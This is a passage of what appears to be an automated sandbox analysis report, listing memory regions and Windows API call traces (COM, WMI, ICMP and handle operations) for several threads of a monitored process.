9125 start_va = 0x7ffb18e20000 end_va = 0x7ffb18e30fff monitored = 0 entry_point = 0x7ffb18e23320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 9126 start_va = 0x1ecf0000 end_va = 0x1edeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ecf0000" filename = "" Region: id = 9127 start_va = 0x1aec0000 end_va = 0x1aecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 9128 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 9135 start_va = 0x1aec0000 end_va = 0x1aecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 9136 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 9137 start_va = 0x1af00000 end_va = 0x1af0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af00000" filename = "" Region: id = 9138 start_va = 0x1aec0000 end_va = 0x1aecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 9139 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 9140 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 9141 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 9142 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 9147 start_va = 0x1aec0000 end_va = 0x1aecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 9148 start_va = 0x1aef0000 end_va = 0x1af2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 9149 start_va = 0x1af30000 end_va = 0x1af3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af30000" filename = "" Region: id = 9150 start_va = 0x1af40000 end_va = 0x1af4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af40000" filename = "" Region: id = 9151 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 9152 start_va = 0x1af00000 end_va = 0x1af0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af00000" filename = "" Region: id = 9153 start_va = 0x1af10000 end_va = 0x1af1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af10000" filename = "" Region: id = 9154 start_va = 0x1af20000 end_va = 0x1af2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af20000" filename = "" Region: id = 9155 start_va = 0x1aec0000 end_va = 0x1aecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 9156 start_va = 0x1aec0000 end_va = 0x1aecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 9157 start_va = 0x1aec0000 end_va = 0x1aecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 9158 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 9159 start_va = 0x1af00000 end_va = 0x1af0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af00000" filename = "" Region: id = 9160 start_va = 0x1af10000 end_va = 0x1af1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af10000" filename = "" Region: id = 9161 start_va = 0x1af20000 end_va = 0x1af2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af20000" filename = "" Region: id = 9162 start_va = 0x1af30000 end_va = 0x1af3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af30000" filename = "" Region: id = 9163 start_va = 0x1af40000 end_va = 0x1af4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af40000" filename = "" Region: id = 9164 start_va = 0x1aec0000 end_va = 0x1aecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 9165 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 9166 start_va = 0x1af00000 end_va = 0x1af0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af00000" filename = "" Thread: id = 177 os_tid = 0x81c [0146.157] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0146.404] RoInitialize () returned 0x1 [0146.405] RoUninitialize () returned 0x0 [0147.630] WindowsCreateStringReference () returned 0x0 [0147.630] RoGetActivationFactory () returned 0x0 [0147.643] QueryInterface () returned 0x0 [0147.644] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0147.644] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0147.644] QueryInterface () returned 0x0 [0147.644] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::GetRuntimeClassName () returned 0x8000000e [0147.644] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x3 [0147.644] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::AddRef () returned 0x4 [0147.644] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0147.644] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0147.644] Release () returned 0x4 [0147.645] CoGetContextToken (in: pToken=0x14ce60 | out: pToken=0x14ce60) returned 0x0 [0147.645] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0147.645] CoGetContextToken (in: pToken=0x14d0b0 | out: pToken=0x14d0b0) returned 0x0 [0147.645] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0147.645] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x4 [0147.645] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x3 [0147.645] WindowsDeleteString () returned 0x0 [0147.645] Release () returned 0x2 [0147.645] CoGetContextToken (in: pToken=0x14dad0 | out: pToken=0x14dad0) returned 0x0 [0147.646] CoGetContextToken (in: pToken=0x14d9d0 | out: pToken=0x14d9d0) returned 0x0 [0147.646] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0147.646] AddRef () returned 0x4 [0147.646] Release () returned 0x3 [0147.656] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::add_TracingStatusChanged () returned 0x0 [0147.729] GenericStreamBase::Write () returned 0x0 [0147.729] GenericStreamBase::Write () returned 0x0 [0147.730] CoCreateGuid (in: pguid=0x7ffb02b4e6a0 | out: pguid=0x7ffb02b4e6a0*(Data1=0x47684d36, Data2=0x13f4, Data3=0x438e, Data4=([0]=0x8d, [1]=0x55, [2]=0x88, [3]=0xd7, [4]=0x44, [5]=0x16, [6]=0x7f, [7]=0xb3))) returned 0x0 [0147.730] GenericStreamBase::Write () returned 0x0 [0147.732] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x0 [0147.733] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::AddRef () returned 0x3 [0147.733] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x80004002 [0147.733] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x0 [0147.733] Release () returned 0x3 [0147.733] CoGetContextToken (in: pToken=0x14cc10 | out: pToken=0x14cc10) returned 0x0 [0147.733] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x80004002 [0147.735] WindowsCreateString () returned 0x0 [0147.735] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::AddRef () returned 0x4 [0147.735] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x3 [0147.735] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::get_Enabled () returned 0x0 [0147.745] EtwEventRegister () returned 0x0 [0147.748] EtwEventSetInformation () returned 0x0 [0147.750] EtwEventRegister () returned 0x0 [0147.751] EtwEventSetInformation () returned 0x0 [0147.816] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x731580*=0x168, lpdwindex=0x14e7a4 | out: lpdwindex=0x14e7a4) returned 0x0 [0147.828] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x79e570*=0x2b8, lpdwindex=0x14e494 | out: lpdwindex=0x14e494) returned 0x0 [0147.862] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x731580*=0x168, lpdwindex=0x14e7a4 | out: lpdwindex=0x14e7a4) returned 0x0 [0148.918] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x79e5c0*=0x2c8, lpdwindex=0x14e494 | out: lpdwindex=0x14e494) returned 0x0 [0148.953] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x731580*=0x168, lpdwindex=0x14e7a4 | out: lpdwindex=0x14e7a4) returned 0x0 [0148.995] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x79e610*=0x2e0, lpdwindex=0x14e494 | out: lpdwindex=0x14e494) returned 0x0 [0149.018] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x731580*=0x168, lpdwindex=0x14e7a4 | out: lpdwindex=0x14e7a4) returned 0x0 [0222.587] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x79e660*=0xb88, lpdwindex=0x14e494 | out: lpdwindex=0x14e494) returned 0x0 [0222.588] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x706fb0*=0xf4, lpdwindex=0x14f074) Thread: id = 178 os_tid = 0xaac Thread: id = 179 os_tid = 0x5c0 Thread: id = 180 os_tid = 0x8bc [0146.437] CoGetContextToken (in: pToken=0x1a79f4d0 | out: pToken=0x1a79f4d0) returned 0x800401f0 [0146.437] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0146.438] RoInitialize () returned 0x1 [0146.438] RoUninitialize () returned 0x0 [0151.517] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0151.517] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0151.517] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x1 [0151.517] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x0 [0151.518] CloseHandle (hObject=0x2f8) returned 1 [0151.518] CloseHandle (hObject=0x304) returned 1 [0151.519] CloseHandle (hObject=0x2f4) returned 1 [0151.519] CloseHandle (hObject=0x2f0) returned 1 [0151.519] CloseHandle (hObject=0x300) returned 1 [0151.519] CloseHandle (hObject=0x308) returned 1 [0151.519] CloseHandle (hObject=0x2fc) returned 1 [0151.519] CloseHandle (hObject=0x2ec) returned 1 [0163.988] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0163.988] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0163.988] WbemLocator:IUnknown:Release (This=0x7d8370) returned 0x1 [0163.989] WbemLocator:IUnknown:Release (This=0x7d8370) returned 0x0 [0163.989] IUnknown:Release (This=0x77dd40) returned 0x0 [0170.380] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0170.380] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0170.380] WbemDefPath:IUnknown:Release (This=0x7b3d00) returned 0x1 [0170.380] WbemDefPath:IUnknown:Release (This=0x7b3d00) returned 0x0 [0170.380] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0170.380] WbemDefPath:IUnknown:Release (This=0x1b2318e0) returned 0x1 [0170.380] WbemDefPath:IUnknown:Release (This=0x1b2318e0) returned 0x0 [0170.380] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0170.380] WbemDefPath:IUnknown:Release (This=0x1b2322a0) returned 0x1 [0170.380] WbemDefPath:IUnknown:Release (This=0x1b2322a0) returned 0x0 [0170.380] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0170.380] WbemDefPath:IUnknown:Release (This=0x1b232420) returned 0x1 [0170.380] WbemDefPath:IUnknown:Release (This=0x1b232420) returned 0x0 [0170.380] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0170.380] WbemDefPath:IUnknown:Release (This=0x1b232ea0) returned 0x1 [0170.380] WbemDefPath:IUnknown:Release (This=0x1b232ea0) returned 0x0 [0170.380] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0170.380] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0170.380] WbemLocator:IUnknown:Release (This=0x1b1ff530) returned 0x1 [0170.380] WbemLocator:IUnknown:Release (This=0x1b1ff530) returned 0x0 [0170.381] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0170.381] IUnknown:Release (This=0x1b220b50) returned 0x2 [0170.381] IUnknown:Release (This=0x1b220b50) returned 0x1 [0170.381] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0170.381] WbemLocator:IUnknown:Release (This=0x1b1ff210) returned 0x1 [0170.381] WbemLocator:IUnknown:Release (This=0x1b1ff210) returned 0x0 [0170.381] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0170.381] IUnknown:Release (This=0x1b228800) returned 0x2 [0170.381] IUnknown:Release (This=0x1b228800) returned 0x1 [0170.381] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0170.381] WbemLocator:IUnknown:Release (This=0x1b1fee70) returned 0x1 [0170.381] WbemLocator:IUnknown:Release (This=0x1b1fee70) returned 0x0 [0170.381] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0170.381] IUnknown:Release (This=0x1b2207f0) returned 0x2 [0170.381] IUnknown:Release (This=0x1b2207f0) returned 0x1 [0170.381] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0170.381] WbemLocator:IUnknown:Release (This=0x1b228660) returned 0x1 [0170.381] WbemLocator:IUnknown:Release (This=0x1b228660) returned 0x0 [0170.381] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0170.381] IUnknown:Release (This=0x1b2293d0) returned 0x2 [0170.381] IUnknown:Release (This=0x1b2293d0) returned 0x1 [0170.381] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0170.381] WbemLocator:IUnknown:Release (This=0x1b228440) returned 0x1 [0170.381] WbemLocator:IUnknown:Release (This=0x1b228440) returned 0x0 [0170.381] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0170.381] WbemLocator:IUnknown:Release (This=0x1b227f80) returned 0x1 [0170.381] WbemLocator:IUnknown:Release (This=0x1b227f80) returned 0x0 [0170.382] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0170.382] IUnknown:Release (This=0x1b2387e0) returned 0x2 [0170.382] IUnknown:Release (This=0x1b2387e0) returned 0x1 [0170.398] IUnknown:Release (This=0x1b2387e0) returned 0x0 [0170.398] CoGetContextToken (in: pToken=0x1a79f130 | out: pToken=0x1a79f130) returned 0x0 [0170.398] WbemLocator:IUnknown:Release (This=0x1b202698) returned 0x1 [0170.398] IUnknown:Release (This=0x1b22da40) returned 0x0 [0170.403] CoGetContextToken (in: pToken=0x1a79f130 | out: pToken=0x1a79f130) returned 0x0 [0170.403] WbemLocator:IUnknown:Release (This=0x1b233c78) returned 0x1 [0170.403] IUnknown:Release (This=0x1b22d8f0) returned 0x0 [0170.404] IUnknown:Release (This=0x1b2293d0) returned 0x0 [0170.405] CoGetContextToken (in: pToken=0x1a79f130 | out: pToken=0x1a79f130) returned 0x0 [0170.405] WbemLocator:IUnknown:Release (This=0x1b233798) returned 0x1 [0170.405] IUnknown:Release (This=0x1b22d3b0) returned 0x0 [0170.406] IUnknown:Release (This=0x1b2207f0) returned 0x0 [0170.406] CoGetContextToken (in: pToken=0x1a79f130 | out: pToken=0x1a79f130) returned 0x0 [0170.406] WbemLocator:IUnknown:Release (This=0x1b233118) returned 0x1 [0170.406] IUnknown:Release (This=0x1b22de30) returned 0x0 [0170.408] IUnknown:Release (This=0x1b228800) returned 0x0 [0170.408] CoGetContextToken (in: pToken=0x1a79f130 | out: pToken=0x1a79f130) returned 0x0 [0170.408] WbemLocator:IUnknown:Release (This=0x1b21fdd8) returned 0x1 [0170.408] IUnknown:Release (This=0x7bbce0) returned 0x0 [0170.423] IUnknown:Release (This=0x1b220b50) returned 0x0 [0170.423] CoGetContextToken (in: pToken=0x1a79f130 | out: pToken=0x1a79f130) returned 0x0 [0170.423] WbemLocator:IUnknown:Release (This=0x1b2073a8) returned 0x1 [0170.423] IUnknown:Release (This=0x7fac20) returned 0x0 [0170.433] RegCloseKey (hKey=0x45c) returned 0x0 [0170.433] RegCloseKey (hKey=0x480) returned 0x0 [0172.253] RegCloseKey (hKey=0x534) returned 0x0 [0177.214] CloseHandle (hObject=0x6c0) returned 1 [0177.214] CloseHandle (hObject=0x6b0) returned 1 [0177.214] CloseHandle (hObject=0x6cc) returned 1 [0177.215] CloseHandle (hObject=0x6a8) returned 1 [0179.062] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0179.062] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0179.062] IUnknown:Release (This=0x1b21fe80) returned 0x2 [0179.062] IUnknown:Release (This=0x1b21fe80) returned 0x1 [0179.062] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0179.062] WbemLocator:IUnknown:Release (This=0x1b207208) returned 0x1 [0179.062] WbemLocator:IUnknown:Release (This=0x1b217600) returned 0x0 [0179.064] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0179.064] WbemLocator:IUnknown:Release (This=0x7e9e88) returned 0x1 [0179.064] WbemLocator:IUnknown:Release (This=0x1b219340) returned 0x0 [0179.064] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0179.064] WbemLocator:IUnknown:Release (This=0x1b233e18) returned 0x1 [0179.064] WbemLocator:IUnknown:Release (This=0x1b2178d0) returned 0x0 [0179.065] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0179.065] WbemLocator:IUnknown:Release (This=0x1b233938) returned 0x1 [0179.065] WbemLocator:IUnknown:Release (This=0x1b2181d0) returned 0x0 [0179.065] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0179.065] WbemLocator:IUnknown:Release (This=0x1b2332b8) returned 0x1 [0179.065] WbemLocator:IUnknown:Release (This=0x1b217d50) returned 0x0 [0179.108] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0179.108] WbemLocator:IUnknown:Release (This=0x1b203398) returned 0x1 [0179.108] WbemLocator:IUnknown:Release (This=0x1b217690) returned 0x0 [0179.110] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0179.110] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0179.110] WbemDefPath:IUnknown:Release (This=0x7b43c0) returned 0x1 [0179.110] WbemDefPath:IUnknown:Release (This=0x7b43c0) returned 0x0 [0179.111] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0179.111] WbemDefPath:IUnknown:Release (This=0x7b4180) returned 0x1 [0179.111] WbemDefPath:IUnknown:Release (This=0x7b4180) returned 0x0 [0179.111] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0179.111] WbemDefPath:IUnknown:Release (This=0x7b3dc0) returned 0x1 [0179.111] WbemDefPath:IUnknown:Release (This=0x7b3dc0) returned 0x0 [0179.111] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0179.111] WbemDefPath:IUnknown:Release (This=0x1b231d60) returned 0x1 [0179.111] WbemDefPath:IUnknown:Release (This=0x1b231d60) returned 0x0 [0179.111] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0179.111] WbemDefPath:IUnknown:Release (This=0x1b231820) returned 0x1 [0179.111] WbemDefPath:IUnknown:Release (This=0x1b231820) returned 0x0 [0179.111] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0179.111] WbemDefPath:IUnknown:Release (This=0x1b231220) returned 0x1 [0179.111] WbemDefPath:IUnknown:Release (This=0x1b231220) returned 0x0 [0179.111] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0179.111] WbemDefPath:IUnknown:Release (This=0x1b232ae0) returned 0x1 [0179.111] WbemDefPath:IUnknown:Release (This=0x1b232ae0) returned 0x0 [0179.124] IUnknown:Release (This=0x1b21fe80) returned 0x0 [0179.124] CoGetContextToken (in: pToken=0x1a79f130 | out: pToken=0x1a79f130) returned 0x0 [0179.124] WbemLocator:IUnknown:Release (This=0x1b1ed568) returned 0x1 [0179.124] IUnknown:Release (This=0x75c250) returned 0x0 [0179.149] CloseHandle (hObject=0x794) returned 1 [0179.149] CloseHandle (hObject=0x790) returned 1 [0179.149] CloseHandle (hObject=0x6b0) returned 1 [0179.150] CloseHandle (hObject=0x6a8) returned 1 [0179.150] CloseHandle (hObject=0x6cc) returned 1 [0179.150] CloseHandle (hObject=0x778) returned 1 [0180.089] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0180.089] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0180.089] WbemLocator:IUnknown:Release (This=0x7d8598) returned 0x1 [0180.089] WbemLocator:IUnknown:Release (This=0x7885f0) returned 0x0 [0180.090] IUnknown:Release (This=0x77dd40) returned 0x0 [0180.090] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0180.090] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0180.090] WbemDefPath:IUnknown:Release (This=0x7b3e80) returned 0x1 [0180.090] WbemDefPath:IUnknown:Release (This=0x7b3e80) returned 0x0 [0189.281] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0189.281] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0189.281] WbemLocator:IUnknown:Release (This=0x1b28e360) returned 0x1 [0189.281] WbemLocator:IUnknown:Release (This=0x1b28e360) returned 0x0 [0191.523] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0191.523] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0191.523] WbemLocator:IUnknown:Release (This=0x1b28e7e0) returned 0x1 [0191.523] WbemLocator:IUnknown:Release (This=0x1b28e7e0) returned 0x0 [0191.552] IcmpCloseHandle (IcmpHandle=0x1b25d4e0) returned 1 [0196.723] IcmpCloseHandle (IcmpHandle=0x1b25dc00) returned 1 [0205.131] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0205.132] IUnknown:QueryInterface (in: This=0x77df90, riid=0x7ffb02985740*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1a79f330 | out: ppvObject=0x1a79f330*=0x77dfb0) returned 0x0 [0205.132] CObjectContext::ContextCallback () returned 0x0 [0205.134] IUnknown:Release (This=0x77dfb0) returned 0x1 [0205.134] IUnknown:Release (This=0x77df90) returned 0x0 [0206.786] IcmpCloseHandle (IcmpHandle=0x1b25d5a0) returned 1 [0212.283] IcmpCloseHandle (IcmpHandle=0x1b25d5a0) returned 1 [0217.147] GdipDisposeImage (image=0x1e3f58e0) returned 0x0 [0217.166] IcmpCloseHandle (IcmpHandle=0x1d1f5a70) returned 1 [0222.826] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0222.826] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0222.826] WbemLocator:IUnknown:Release (This=0x1b1ff9b0) returned 0x1 [0222.826] WbemLocator:IUnknown:Release (This=0x1b1ff9b0) returned 0x0 [0227.239] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0227.239] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0227.240] WbemDefPath:IUnknown:Release (This=0x1b292ea0) returned 0x1 [0227.240] WbemDefPath:IUnknown:Release (This=0x1b292ea0) returned 0x0 [0227.240] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0227.240] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0227.240] WbemLocator:IUnknown:Release (This=0x1b202698) returned 0x1 [0227.240] WbemLocator:IUnknown:Release (This=0x1b217690) returned 0x0 [0227.261] CoGetContextToken (in: pToken=0x1a79f130 | out: pToken=0x1a79f130) returned 0x0 [0227.261] WbemLocator:IUnknown:Release (This=0x1b2029d8) returned 0x1 [0227.261] IUnknown:Release (This=0x1b286320) returned 0x0 [0227.295] IcmpCloseHandle (IcmpHandle=0x1d1f5590) returned 1 [0234.047] IcmpCloseHandle (IcmpHandle=0x1d1f5710) returned 1 [0236.301] IcmpCloseHandle (IcmpHandle=0x1d1f5050) returned 1 [0243.937] IcmpCloseHandle (IcmpHandle=0x1d1f4450) returned 1 [0250.557] IcmpCloseHandle (IcmpHandle=0x1d1f42d0) returned 1 [0250.762] CloseHandle (hObject=0x3c0) returned 1 [0253.303] CloseHandle (hObject=0xa7c) returned 1 [0253.304] CloseHandle (hObject=0x3c0) returned 1 [0253.304] CloseHandle (hObject=0xaa8) returned 1 [0255.312] CloseHandle (hObject=0xae0) returned 1 [0255.313] IcmpCloseHandle (IcmpHandle=0x1d1f4f30) returned 1 [0260.340] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0260.340] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0260.340] IUnknown:Release (This=0x1b268a00) returned 0x2 [0260.340] IUnknown:Release (This=0x1b268a00) returned 0x1 [0260.341] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0260.341] WbemLocator:IUnknown:Release (This=0x1d2180f0) returned 0x1 [0260.341] WbemLocator:IUnknown:Release (This=0x1d2180f0) returned 0x0 [0260.359] IUnknown:Release (This=0x1b268a00) returned 0x0 [0260.360] CoGetContextToken (in: pToken=0x1a79f130 | out: pToken=0x1a79f130) returned 0x0 [0260.360] WbemLocator:IUnknown:Release (This=0x1b202d18) returned 0x1 [0260.360] IUnknown:Release (This=0x1b286710) returned 0x0 [0260.365] IcmpCloseHandle (IcmpHandle=0x1d1fa840) returned 1 [0262.505] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 [0262.505] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0262.505] IUnknown:Release (This=0x1b268f60) returned 0x2 [0262.505] IUnknown:Release (This=0x1b268f60) returned 0x1 [0262.505] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0262.505] WbemLocator:IUnknown:Release (This=0x1b201b38) returned 0x1 [0262.505] WbemLocator:IUnknown:Release (This=0x1b218650) returned 0x0 [0262.507] CoGetContextToken (in: pToken=0x1a79f410 | out: pToken=0x1a79f410) returned 0x0 [0262.507] WbemLocator:IUnknown:Release (This=0x1d2186d0) returned 0x1 [0262.507] WbemLocator:IUnknown:Release (This=0x1d2186d0) returned 0x0 [0262.507] CoGetContextToken (in: pToken=0x1a79f510 | out: pToken=0x1a79f510) returned 0x0 